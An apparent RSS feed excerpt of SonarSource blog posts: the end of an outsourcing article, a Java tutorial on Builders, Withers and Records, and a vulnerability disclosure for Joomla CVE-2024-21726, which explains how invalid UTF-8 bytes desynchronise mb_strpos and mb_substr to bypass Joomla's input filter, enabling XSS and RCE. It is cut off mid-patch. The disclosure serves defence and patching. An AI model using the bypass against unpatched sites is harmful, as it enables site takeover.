href=&quot;https://www.sonarsource.com/learn/ci-cd/&quot;&gt;CI/CD&lt;/a&gt; procedures. This not only accelerates the development cycle but also enhances the overall longevity of the software, reduces the risk of post-deployment failures, and empowers teams to respond swiftly to changing requirements. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Establish a culture of constructive feedback where everyone can provide insights into the development process. When internal and outsourced teams can regularly assess completed work against predefined code quality standards and use the feedback to refine and improve tasks, it enhances the quality of deliverables and ensures that the project stays on course.&lt;/p&gt;&lt;h3&gt;Leverage reporting to monitor development activities&lt;/h3&gt;&lt;p&gt;Regular progress updates are a cornerstone of transparent communication in outsourced software development. Your management team and clients should stay informed about the development team&amp;#x27;s progress, any challenges faced, and any adjustments made to the initial plan. This level of transparency builds trust and allows for timely feedback, ensuring that both parties are on the same page throughout the development process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Real-time progress updates are imperative to maintain an accurate pulse on the project&amp;#x27;s status. Implement regular reporting meetings and leverage &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;a solution&lt;/a&gt; that offers transparency into the codebase&amp;#x27;s quality, security, and overall health at the project, application, and portfolio levels. Real-time updates enable prompt identification of potential delays, allowing for proactive problem-solving.&lt;/p&gt;&lt;h3&gt;Focus on proactive risk management&lt;/h3&gt;&lt;p&gt;Transparent communication plays a pivotal role in proactive risk management. Discuss potential risks and challenges at the project&amp;#x27;s onset, identify the &lt;a href=&quot;https://www.sonarsource.com/solutions/security/owasp/&quot;&gt;standards&lt;/a&gt; that need to be met (like PCI, OWASP, CWE, etc., and collaboratively develop contingency plans. Regularly revisit the risk assessment and distribute it with outsourced teams, updating it as needed throughout the project&amp;#x27;s lifecycle. This foresight allows for a proactive approach to mitigating risks before they escalate and impact delivery timelines.&lt;/p&gt;&lt;h3&gt;Overall, create a culture of open communication&lt;/h3&gt;&lt;p&gt;In outsourced software development, the path to timely delivery is paved with transparent communication. By setting clear standards for code quality, providing real-time updates, maintaining open communication channels, resolving issues promptly, proactively managing risks, fostering feedback-driven continuous improvement, and aligning expectations, businesses can unlock the full potential of outsourcing partnerships. Transparent communication is not just a means of conveying information; it is the cornerstone of successful collaboration, ensuring that software development projects are completed on time and to the satisfaction of all stakeholders.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Start delivering software more successfully with your outsourced development team today with &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;Sonar&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/5-risks-of-outsourcing-software-development-and-how-to-avoid-them/&quot;&gt;5 Risks of Outsourcing Software Development and How to Avoid Them&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/how-to-enable-your-development-team-to-deliver-clean-code/&quot;&gt;How to enable your development team to deliver Clean Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/Sonar-Clean-Code-for-your-DevOps-workflow/&quot;&gt;Sonar is the Clean Code solution for your DevOps workflow&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Builders, Withers, and Records - Java’s path to immutability]]></title><description><![CDATA[We know that immutable objects are easier to maintain, lead to fewer errors, and are multi-thread friendly. This article will show two different approaches to creating objects: Builders and Withers, along with a new type of immutable object in Java: Records]]></description><link>https://www.sonarsource.com/blog/builders-withers-and-records-java-s-path-to-immutability</link><guid isPermaLink="false">005f1811-21c0-5203-8f3c-8eaf1ac71573</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Wed, 21 Feb 2024 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When it comes to creating objects in Java, we can use fluent approaches, especially for complex objects containing lots of fields, that will increase readability and also adaptability allowing us to evolve the code with lower impact on the existing code. And we want to because fluent code is both easier to read and easier to write. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also know that immutable objects are easier to maintain, lead to fewer errors, and are multi-thread friendly.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, I will talk about two different approaches to creating objects: &lt;strong&gt;Builders and Withers&lt;/strong&gt;, typically used in the context of immutable objects, along with a new type of immutable object in Java: &lt;strong&gt;Records&lt;/strong&gt;.&lt;/p&gt;&lt;h2&gt;JavaBean pattern&lt;/h2&gt;&lt;p&gt;The usual way of defining classes in Java follows the &lt;a href=&quot;https://en.wikipedia.org/wiki/JavaBeans&quot;&gt;JavaBean pattern&lt;/a&gt;. This involves using a default constructor with no arguments, and accessors and mutators for properties. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class Person {
  private int age;
  private String name;

  public int getAge() {
    return age;
  }

  public String getName() {
  }

  public void setAge(int age) {
    this.age = age;
  }

  public void setName(String name) {
    this.name = name;
  }
}

Person person = new Person();
person.setAge(15);
person.setName(&quot;Antonio&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This approach implies that the state of the object can be “unsafe” as we could create an instance of Person without specifying any mandatory and key values. It even allows mutating the object during its lifetime, potentially making the&lt;a href=&quot;https://blogs.oracle.com/javamagazine/post/java-immutable-objects-strings-date-time-records&quot;&gt; system less safe&lt;/a&gt;, especially with multithreaded approaches. &lt;a href=&quot;https://dzone.com/articles/java-and-immutability-avoid&quot;&gt;Immutability brings a lot of benefits.&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;The path to immutability and a safe state&lt;/h2&gt;&lt;p&gt;So, the next step in order to fix this issue would be to create a constructor with the mandatory and key properties, and not expose mutators (setters) for them. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class Person {
  private int socialNumber;
  private String name;
  private String address;

  public Person(String name, int socialNumber) {
    if (name == null || name.isBlank()) {
      throw new IllegalArgumentException();
    }
    this.name = name;
    this.socialNumber = socialNumber;
  }

  public int getSocialNumber() {
    return socialNumber;
  }

  public String getName() {
  }

  public void setAddress(String address) {
    this.address = address;
  }

  public String getAddress() {
    return address;
  }
}

Person person = new Person(&quot;Antonio&quot;, 1566778890);
person.setAddress(&quot;Barcelona&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this approach though, we face potential issues in terms of readability and adaptability when the class grows into a more complex definition.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public Person(String name, int age, String id, String phoneNumber, String email, Person parent1, Person parent2) { ... }

Person person = new Person(&quot;Antonio&quot;, 15, 1445678, &quot;+34 666 77 88 99&quot;, &quot;antonio@example.com&quot;, juan, carla);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In case we add more mandatory properties, as we see above, we need to add more parameters to the constructor and this will impact the existing code making us modify it on every call to the constructor. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Considering mandatory and optional arguments, for immutable objects, we can run into the &lt;a href=&quot;https://medium.com/nerd-for-tech/avoid-telescoping-constructors-with-the-builder-pattern-2114b75360b7&quot;&gt;“telescoping constructors”&lt;/a&gt; problem where we need to create several constructors considering the different nullability combinations.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public Person(String name, int age, String id, String phoneNumber, String email, Person parent1, Person parent2) {...}

public Person(String name, int age, String id, String phoneNumber, String email, Person parent1,) {...}

public Person(String name, int age, String id, String phoneNumber, String email) {...}

public Person(String name, int age, String id, String phoneNumber) {...}
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;The Builder approach&lt;/h2&gt;&lt;p&gt;To fix this we can use Builders, which will help with readability and also on future changes making it easier to add the new properties.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First let’s remove any mutator, leave the accessors, and make it “impossible” to create a new instance with a constructor.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class Person {
  private String name;
  private int socialNumber;

  // Invisible constructor 
  private Person() {
  }

  public String getName() {
    return this.name;
  }

  public int getSocialNumber() {
    return this.socialNumber;
  }

  @Override
  public String toString() {
    return &quot;Person [name=&quot; + name + &quot;, socialNumber=&quot; + socialNumber + &quot;]&quot;;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now we will add the inner class in charge of building the new instance and a new method that invokes the Builder.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  // inside Person class

  // Fluent Builder API
  public static PersonBuilder builder() {
    return new PersonBuilder();
  }

  public static class PersonBuilder {
    private String name;
    private int socialNumber;

    PersonBuilder() {
    }

    public PersonBuilder name(String name) {
      this.name = name;
      return this;
    }

    public PersonBuilder socialNumber(int socialNumber) {
      this.socialNumber = socialNumber;
      return this;
    }

    public Person build() {
      // Validations
      if (name == null || name.isBlank()) {
        throw new IllegalArgumentException();
      }

      // Build
      Person person = new Person();
      person.name = name;
      person.socialNumber = socialNumber;
      return person;
    }
  }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And with this approach now we are able to create a new immutable instance with a validated state.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Person person = Person.builder()
            			.name(&quot;Antonio&quot;)
            			.socialNumber(15546464564)
                                .build();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The above approach includes a lot of boilerplate code that can discourage us from using it. To make things easier we can use libraries with annotations that will generate the code for us: &lt;a href=&quot;https://immutables.github.io/immutable.html#:~:text=.build()%3B-,Builder,-By%20default%2C%20builders&quot;&gt;Immutables&lt;/a&gt;, &lt;a href=&quot;https://projectlombok.org/features/Builder&quot;&gt;Lombok&lt;/a&gt;, &lt;a href=&quot;https://github.com/google/auto/blob/main/value/userguide/autobuilder.md&quot;&gt;Auto&lt;/a&gt;, &lt;a href=&quot;https://freebuilder.inferred.org/&quot;&gt;FreeBuilder&lt;/a&gt;, etc.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@lombok.Builder
public class Person {
  private String name;
  private int socialNumber;
}

Person person = Person.builder().name(&quot;Antonio&quot;).socialNumber(2023452).build();
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;The Wither approach&lt;/h2&gt;&lt;p&gt;Another approach to having a fluent API and immutability is the usage of “withers”, or with* methods, that create a new instance on every property change. &lt;/p&gt;&lt;p&gt;The idea behind it is that every mutator creates a new object instance, and we can chain those calls in order to produce complete instances.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// inside Person class

// remove setters

public Person(String name, int age) {
  if (name == null) throw new NullPointerException(&quot;name&quot;);
  this.name = name;
  this.age = age;
}

public Person withName(String name) {
  if (name == null) throw new NullPointerException(&quot;name&quot;);

  return (this.name == name) ? this : new Person(name, age);
}

public Person withAge(int age) {
  if (age &lt; 0) throw new IllegalArgumentException(&quot;age&quot;);

  return (this.age == age) ? this : new Person(name, age);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can consume this approach like this, making it very easy to apply small changes to an existing object by obtaining a new object. We are “cloning” the object and changing one property at a time.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Person person = new Person(&quot;Luis&quot;, 45);
Person person2 = person.withName(&quot;Jose&quot;);
// here we have person2 = Jose, 45&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Again in order to reduce boilerplate code, and be less error-prone, we can leverage existing libraries with annotation processors that will make the process smoother and cleaner.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class Person {

  @lombok.With @NonNull private final String name;
  @lombok.With private final int age;

  public Person(@NonNull String name, int age) {
    this.name = name;
    this.age = age;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The main drawback to the Withers approach is that we rely a lot on the garbage collector in order to remove intermediary objects, especially when we chain Withers &lt;em&gt;person.withName(“John”).withAge(50)&lt;/em&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Those objects are not used in the end and we will need to wait for the garbage collector to remove them. This can impact performance in systems with high object creation rates.&lt;/p&gt;&lt;h2&gt;Records&lt;/h2&gt;&lt;p&gt;Finally, the language itself, since Java 16, provides a struct definition called &lt;a href=&quot;https://docs.oracle.com/en/java/javase/16/language/records.html&quot;&gt;Records&lt;/a&gt;, which is focused on immutability, mainly to store data values, reduce boilerplate code, and increase readability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Records, we can be sure our objects are immutable as they don’t provide mutators, only accessors, and fields are final.&lt;/p&gt;&lt;p&gt;So in our case, our Person class could be defined as &lt;/p&gt;&lt;pre&gt;&lt;code&gt;record Person(String name, int age) {}

...
Person person = new Person(&quot;Pedro&quot;, 66);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This would end up in the same code for Person as we had at the beginning of this article, removing the setters and making all fields final.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some creational issues are not solved out of the box with Records, like the mandatory/optional fields and the constructor, and it’s not easy to create new objects based on existing ones, but we can rely on libraries like &lt;a href=&quot;https://github.com/randgalt/record-builder&quot;&gt;RecordBuilder&lt;/a&gt; to help us with that.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Builder
@RecordBuilder
public record Person(String name, int age){}

Person person = PersonBuilder.builder().name(&quot;Jose&quot;).age(89).build();

// Wither
@RecordBuilder
public record Car(String brand, String model, int year) implements CarBuilder.With{}

Car car = new Car(&quot;Seat&quot;, &quot;Ibiza&quot;, 2015);
Car car2 = car.withModel(&quot;Cordoba&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Despite these issues, Records are a great solution for representing data with immutable state, while also reducing the boilerplate code in order to define the structures.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Conclusions&lt;/h2&gt;&lt;p&gt;Immutability is a concept that will provide many &lt;a href=&quot;https://supakon-k.medium.com/the-advantages-of-using-immutable-objects-in-java-e32f6d326738&quot;&gt;benefits&lt;/a&gt; to our code, like predictability, easy testing, thread safety, and others that will impact our code’s intentionality, consistency, adaptability, and responsibility.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to achieve immutability we have different options like Builders, Withers, or the use of Record type, but ultimately, the choice between Builders and Withers depends on the specific requirements of your application and the design principles you want to follow. Builders are often preferred for complex object creation with many optional parameters, while withers can be more suitable for modifying existing immutable objects. If you are on Java 16 or above consider that the use of Records is &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-6206&quot;&gt;recommended&lt;/a&gt; over ordinary classes as they are immutable per definition.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember that &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; with their Java analyzer will help you deliver clean code with a long &lt;a href=&quot;https://rules.sonarsource.com/java&quot;&gt;list&lt;/a&gt; of rules to consider when you code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities]]></title><description><![CDATA[Our Clean Code solution, SonarCloud, led us to a severe security issue in the popular Content Management System Joomla.]]></description><link>https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities</link><guid isPermaLink="false">444917cc-fbf4-5ed1-a50a-4d910c1be1b4</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 20 Feb 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;Update 2024-02-23: Full technical details added.&lt;/h4&gt;&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Sonar’s Vulnerability Research Team has discovered an issue that led to multiple XSS vulnerabilities in the popular Content Management System &lt;a href=&quot;https://www.joomla.org/&quot;&gt;Joomla&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The issue discovered with the help of &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; affects Joomla’s core filter component and is tracked as &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-21726&quot;&gt;CVE-2024-21726&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Attackers can leverage the issue to gain remote code execution by tricking an administrator into clicking on a malicious link.&lt;/li&gt;&lt;li&gt;The underlying PHP bug is an inconsistency in how PHP’s mbstring functions handle invalid multibyte sequences.&lt;/li&gt;&lt;li&gt;The bug was fixed with PHP versions 8.3 and 8.4, but not backported to older PHP versions.&lt;/li&gt;&lt;li&gt;Joomla released a &lt;a href=&quot;https://developer.joomla.org/security-centre/929-20240205-core-inadequate-content-filtering-within-the-filter-code.html&quot;&gt;security announcement&lt;/a&gt; and published &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5904-joomla-5-0-3-and-4-4-3-security-and-bug-fix-release.html&quot;&gt;version 5.0.3/4.4.3&lt;/a&gt;, which mitigates the vulnerability.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Joomla&lt;/h2&gt;&lt;p&gt;Joomla is a free and open-source Content Management System (CMS) used for building websites and online applications. Roughly &lt;a href=&quot;https://w3techs.com/technologies/overview/content_management&quot;&gt;2% of all websites&lt;/a&gt; use Joomla, which makes it one of the most popular CMSs with millions of deployments worldwide.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The widespread usage of Joomla and the fact that most deployments are publicly accessible makes it a valuable target for threat actors. Just recently, Joomla was targeted in an &lt;a href=&quot;https://thehackernews.com/2023/12/new-hacker-group-gambleforce-tageting.html&quot;&gt;attack against different organizations&lt;/a&gt; via an &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-23752&quot;&gt;improper access control vulnerability (CVE-2023-23752)&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we dive into an interesting XSS issue detected by &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt;, which led us down the rabbit hole to the discovery of a bug in PHP. We will explain how an inconsistency in PHP’s mbstring functions can be leveraged by attackers to bypass Joomla’s input sanitization introducing multiple XSS vulnerabilities.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Joomla versions 5.0.2/4.4.2 and below are prone to multiple XSS vulnerabilities. Attackers tricking an administrator into clicking on a malicious link can gain remote code execution (RCE):&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/4HmGMSWry_c&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Joomla &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5904-joomla-5-0-3-and-4-4-3-security-and-bug-fix-release.html&quot;&gt;version 5.0.3/4.4.3&lt;/a&gt; mitigates the issue regardless of the PHP version. The underlying PHP bug was fixed with PHP versions 8.3 and 8.4, but not backported to older PHP versions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;We strongly recommend updating Joomla to the latest version as well as keeping your PHP version up-to-date.&lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In our continuous effort to help secure open-source projects and improve our Clean Code solution, we regularly scan open-source projects via &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; and evaluate the findings. When scanning Joomla, SonarCloud reported an interesting XSS issue:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8c2f1aca-bded-40d2-8f83-0fa4acfa5a4a/joomla-sc.png&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_joomla-blogpost&amp;open=AY3LbRnWdEw9LdiT4b6d&quot;&gt;View this issue on SonarCloud&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This small code snippet is taken from a settings page on the admin panel. According to the raised issue, the query parameter &lt;code&gt;forcedItemType&lt;/code&gt; is reflected in the output, which introduces an XSS vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Please notice that the third argument of the &lt;code&gt;get&lt;/code&gt; method used to retrieve the query parameter is set to &lt;code&gt;string&lt;/code&gt;. This value determines which filters should be applied to the query parameter. Under the hood, the &lt;code&gt;get&lt;/code&gt; method uses the &lt;code&gt;Joomla\Filter\InputFilter&lt;/code&gt; class to sanitize potentially malicious input, which should prevent an XSS attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The filter logic is &lt;a href=&quot;https://github.com/joomla-framework/filter/blob/3.x-dev/src/InputFilter.php#L308-L514&quot;&gt;quite complex&lt;/a&gt; and uses a method called &lt;code&gt;cleanTags&lt;/code&gt; to remove all HTML tags that are not explicitly allowed. For query parameters, no tags are allowed at all.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thus, for the following example input:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;some-text&lt;script&gt;alert(1)&lt;/script&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;…, the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags are removed, which results in this output:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;some-textalert(1)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;cleanTags&lt;/code&gt; method performs this sanitization by determining the position of any opening tags (&lt;code&gt;&amp;lt;&lt;/code&gt;) and then removing all data following until and including the corresponding closing tag (&lt;code&gt;&amp;gt;&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ce451afc-0a08-4ac9-8203-f9e46be1cd46/joomla-01.png&quot; /&gt;&lt;p&gt;The characters &lt;strong&gt;before&lt;/strong&gt; an opening tag (e.g., &lt;code&gt;some-text&lt;/code&gt; in the example above) are extracted by determining the offset of the opening tag (&lt;code&gt;$tagOpenStart&lt;/code&gt;) via &lt;a href=&quot;https://github.com/joomla-framework/string/blob/3.x-dev/src/StringHelper.php#L147&quot;&gt;&lt;code&gt;StringHelper::strpos&lt;/code&gt;&lt;/a&gt; and then using &lt;a href=&quot;https://github.com/joomla-framework/string/blob/3.x-dev/src/StringHelper.php#L189&quot;&gt;&lt;code&gt;StringHelper::substr&lt;/code&gt;&lt;/a&gt; to extract it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Is there a tag? If so it will certainly start with a &apos;&lt;&apos;.
$tagOpenStart = StringHelper::strpos($source, &apos;&lt;&apos;);
while ($tagOpenStart !== false) {
    // Get some information about the tag we are processing
    $preTag .= StringHelper::substr($postTag, 0, $tagOpenStart);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the example string &lt;code&gt;some-text&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;, the first call to &lt;code&gt;StringHelper::substr&lt;/code&gt; returns the string &lt;code&gt;some-text&lt;/code&gt;, which is appended to the &lt;code&gt;$preTag&lt;/code&gt; variable:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f804fb61-7e68-4323-8881-524fc4910a13/joomla-02.png&quot; /&gt;&lt;p&gt;On the second iteration, the string &lt;code&gt;alert(1)&lt;/code&gt; is added:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7f86bc5f-ccec-4a1c-8a5a-3db33892f834/joomla-03.png&quot; /&gt;&lt;p&gt;The &lt;code&gt;$preTag&lt;/code&gt; variable used to collect all sanitized substrings is later returned as the final result:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;    // ... 
    return $preTag;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;StringHelper::strpos&lt;/code&gt; and &lt;code&gt;StringHelper::substr&lt;/code&gt; methods are just wrappers around the respective PHP &lt;a href=&quot;https://www.php.net/manual/en/book.mbstring.php&quot;&gt;mbstring&lt;/a&gt; functions &lt;a href=&quot;https://www.php.net/manual/en/function.mb-strpos.php&quot;&gt;&lt;code&gt;mb_strpos&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.php.net/manual/en/function.mb-substr.php&quot;&gt;&lt;code&gt;mb_substr&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When determining if this sanitization is safe, we noticed that both PHP functions, &lt;code&gt;mb_strpos,&lt;/code&gt; and &lt;code&gt;mb_substr&lt;/code&gt;, handle invalid UTF-8 sequences differently. When &lt;code&gt;mb_strpos&lt;/code&gt; encounters a &lt;a href=&quot;https://en.wikipedia.org/wiki/UTF-8#Encoding&quot;&gt;UTF-8 leading byte&lt;/a&gt;, it tries to parse the following continuation bytes until the full byte sequence is read. If an invalid byte is encountered, all previously read bytes are considered one character, and the parsing is started over again at the invalid byte:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/efa546f8-bbb7-41e9-9f1b-a6c7a45ef668/joomla-04.png&quot; /&gt;&lt;p&gt;Thus, the following call to &lt;code&gt;mb_strpos&lt;/code&gt; returns the index &lt;code&gt;4&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mb_strpos(&quot;\xf0\x9fAAA&lt;BB&quot;, &apos;&lt;&apos;); // 4&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This index is the position of the opening angle bracket &lt;code&gt;&amp;lt;&lt;/code&gt; (&lt;code&gt;3c&lt;/code&gt;) character within the string.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;mb_substr&lt;/code&gt;, on the other hand, skips over continuation bytes when encountering a leading byte:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0316a339-0fd8-473f-907a-2eae37bd7ce0/joomla-05.png&quot; /&gt;&lt;p&gt;This means that for &lt;code&gt;mb_substr,&lt;/code&gt; the first four bytes are considered one character and the opening angle bracket &lt;code&gt;&amp;lt;&lt;/code&gt; (&lt;code&gt;3c&lt;/code&gt;) character has the index &lt;code&gt;2&lt;/code&gt;. Thus, the following call to &lt;code&gt;mb_substr&lt;/code&gt; returns &lt;code&gt;&amp;quot;\xf0\x9fAAA&amp;lt;B&amp;quot;&lt;/code&gt; when using the index returned by &lt;code&gt;mb_strpos&lt;/code&gt; :&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mb_substr(&quot;\xf0\x9fAAA&lt;BB&quot;, 0, 4); // &quot;\xf0\x9fAAA&lt;B&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because of this inconsistency between both functions, Joomla’s sanitization extracts not only the text before an opening angle bracket but also the opening angle bracket itself and the following character when encountering this invalid UTF-8 byte sequence:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e8a4e56e-2bb7-4e37-8edb-010dc20a8e25/joomla-06.png&quot; /&gt;&lt;p&gt;An attacker can insert multiple invalid UTF-8 sequences, which effectively offset the index returned by &lt;code&gt;StringHelper::strpos&lt;/code&gt; way beyond the opening angle bracket and thus include arbitrary HTML tags in the sanitized output. This completely bypasses the sanitization applied by Joomla. Since this issue affects Joomla’s core filter functionality, which is used all over the whole code base, this leads to multiple XSS vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the resulting XSS vulnerabilities can for example be leveraged by an attacker to craft a malicious link. When an administrator clicks on this link, the injected JavaScript payload can be used to &lt;a href=&quot;https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla#rce&quot;&gt;customize a template&lt;/a&gt; and insert arbitrary PHP code. Thus, an attacker can gain remote code execution (RCE) by tricking an administrator into clicking on the malicious link.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Joomla addressed the issue by replacing the usage of the mbstring functions with PHP’s regular string functions:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Is there a tag? If so it will certainly start with a &apos;&lt;&apos;.
- $tagOpenStart = StringHelper::strpos($source, &apos;&lt;&apos;);
+ $tagOpenStart = strpos($source, &apos;&lt;&apos;);

while ($tagOpenStart !== false) {
    // Get some information about the tag we are processing
-    $preTag .= StringHelper::substr($postTag, 0, $tagOpenStart);
